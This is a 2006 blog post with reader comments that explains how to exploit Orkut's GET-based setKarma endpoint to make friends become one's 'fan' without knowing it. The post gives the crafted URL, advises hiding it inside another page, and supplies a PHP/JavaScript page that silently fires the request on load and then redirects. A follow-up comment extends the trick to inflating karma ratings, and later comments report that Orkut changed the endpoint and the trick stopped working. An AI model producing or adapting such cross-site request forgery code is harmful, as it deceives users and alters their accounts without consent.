Tuesday, November 14, 2006

How to make more fans on orkut?

Lets start by looking how you get a fan normally. You get a fan when one of your friends click the star near your name on the friends page.

Next let us see the inner workings of the "Fanning Process".

The "Star" that clicks has the following code .

<a href="javascript:setKarma('FRUS0012345678/US00987654321',
<img id="karma-FRUS00123456789/US00987654321-0-1"
alt="fan" title="fan" border="0"
width="15" height="15"></a>

Note the first argument 'FRUS0012345678/US00987654321'. This argument denotes unique code to each user on orkut. Your code is denoted by 'US0012345678' and your friends code is 'US00987654321'.

The next argument is used to denote the function.

0 is used for the fan function
1 is used for the trusty karma
2 is used for the cooool karma
3 is used for the sexy karma

The next argument denotes the new value of the karma and the last argument denotes the old value of the karma (used mainly for the trusty,cool and sexy karmas)
We can see that the function setKarma is invoked after clicking on the star.
function setKarma(...) :

function setKarma(linkId, typeIndex, newLevel, currentLevel) {
var mapIndex = "karma-"+linkId+"-"+typeIndex;
if (currentKarmaLevels[mapIndex] != null) {
currentLevel = currentKarmaLevels[mapIndex]
//if the user clicks on the current level, it turns it all off
if (newLevel == currentLevel) {
//turn everything off
newLevel = 0;
//set the images correctly
var levelIndex;
for (levelIndex = 1; levelIndex <= 3; levelIndex++) {
//fan (typeIndex 0) only has 1 level
if (levelIndex == 1 || typeIndex != 0) {
var name = "karma-"+linkId+"-"+typeIndex+"-"+levelIndex;
var img = document.getElementById(name);
var prefix = ""
if (newLevel >= levelIndex) {
prefix = "ok_";
} else {
prefix = "nk_";
currentKarmaLevels[mapIndex] = newLevel;
//do the AJAX karma call
var request = "/setKarma?cat="+typeIndex+"&val="+newLevel+"&gid="+linkId;

Leave the crap and focus on the line given in bold.The request variable evaluates to

Next the request is sent as a GET request via ajax...

Now visit the url "http://www.orkut.com/setKarma?cat=0&val=1&gid=FR[your id here]/[friends id here]". After visiting check out your friends list to see that you have become the fan of your friend.

To get your and your friends ID view the source of the friends page scroll a little down and you can see a list of FRUSXXXXXXXX/USXXXXXXXXX. First one stands for the first friend shown on that page. You can verify that the FRUSXXXXXXXXXX is same. It is your id.

How do i get more fans?

Now to get you more fans, or to make your friend fan of you just interchange the id's that is make your friends ID first and your ID second as shown below:
US00123456789 = your id
US00000000000 = friends id

Therefore the full link becomes: "http://www.orkut.com/setKarma?cat=0&val=1&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=0&val=1&gid=FRUS00000000000/US00123456789"

Now if your friend visits this link he/she becomes your fan!

Now you can give this link directly to your friend or can ingeniously hide it inside another webpage and give the link of that page to your friend...
Please note that your orkut friend must be signed into orkut for this to work. So either scrap him or message him through orkut the "Link" to ensure a success.

Although this method seems a little long, it works... each link you give to your friend will be unique so you cant do a mass forward,you will have to specifically craft the url for each friend.

Hope it works for you ...
Happy Orkutting

For advanced uses with knowledge in PHP and server access

You guys can make a PHP script that takes a GET argument the id of your friend, and embend a img or script such that a GET request is made to the correct url.

eg: http://www.yoursite.com/makefan.php?to=US1010101010


$to = $_GET["to"];
function ld(){
var img=new Image();
img.src="http://www.orkut.com/setKarma?cat=0&val=1&gid=FR<?echo $to;?>/US00987654321";
window.top.location = "http://www.yoursite.com/somenicepage/";}</script>
<body onload="return ld();">

For more info leave a comment with mail id.


Darnell Clayton said...

Very interesting. I wonder, if you added a friend as a fan, would it show up on there side of the profile?


Since your backlinks are turned off, I just wanted to let you know that I posted about you on Inside Orkut.

Kishore said...

trick is mind blowing!

and i know some python,

canyou tell me any info about writing script that will get me all my friends ids?

my email id is luckykrrish@gmail.com

Kishore said...

hey, i also know a bit of php,

but i cannot get the script you have written.

How can get the 'id' of my friend??

I cannot understand that javascript method. can you make it clear for me? plzzz


Anonymous said...

Hi Arun!

I tried the trick from my computer in my own login session. But nothing happened.
Does it considers/authenticate the HTTP request against the user login for it's validity?

My email address is thevarungupta@gmail.com

Varun Gupta

Unknown said...

You sure made a Detailed study.

Any ideas on getting the popularity ratings etc?

Arun Prabhakar said...

Here is how to to increase your orkut karmas

In the above method change the URL Get variable values.

Change val=3 to get the highest rating,
Change cat to
1 for trusty
2 for cool
3 for sexy.

happy orkutting....

Anonymous said...

hey can u please explain in detail how to increase the karma ratings of one's own profile, by a similar method?

Thanks in advance


Anonymous said...

Thanks for telling how to modify your karma/ fan ratings.
Is there any way to find out what karma ratings are currently given by my friends for me?
I would really appreciate a reply from you...
(my email id is hkst85@gmail.com)

3ilm said...

hey this is gr8......!!!...i havent tried it yet but i think it surely would work.....ur like me in the sense tht i am also a elect. & elex. engg. and i knw more computer stuff than my compu. counterparts..hehehe..... and so ru bro...thanx again fr the info...1!!!!

Ayushman Saini said...

Hi Arun,

I found my id to be this...

but i am not able to work put things... simply cant though i tried lot many times... even by creating a fake account. Now could you explain me in a bit more detail.. I would be grateful or simply gimme the code with my code on it and leme know where to put friend's code. thank you


Pramod said...

i dont suppose this method is working now?


x2F = ???

Anonymous said...

Hey buddy..
in don't know if this code worked once...but now ..it doesn't work anymore!
could you help me complete my karma?
thank you!

Arun Prabhakar said...

this method no longer works as orkut has changed all the codes...
mainly it replaced the GET with a POST !

Anonymous said...

Orkut is saying "page not found"

KAILASH said...

lashsonihow to know who has placed karma rating for us.any trick for that

Anonymous said...



raghav.8055 said...

ymri'm not able to increase Karma ratings for my Orkut account.

can you plz guide me.

Anonymous said...

Does this trick works anymore ?

Mukesh Kumar said...

hey, i also know a bit of php,

but i cannot get the script you have written.

How can get the 'id' of my friend??

I cannot understand that javascript method. can you make it clear for me? plzzz

Anonymous said...

Its not working.
There is no FRUS and US in the page source of friend page

Unknown said...

sorry,,,this trick ain't work any more as orkut changed their code [:(]

Unknown said...

there is no us or frus for karmaset
plzs help me.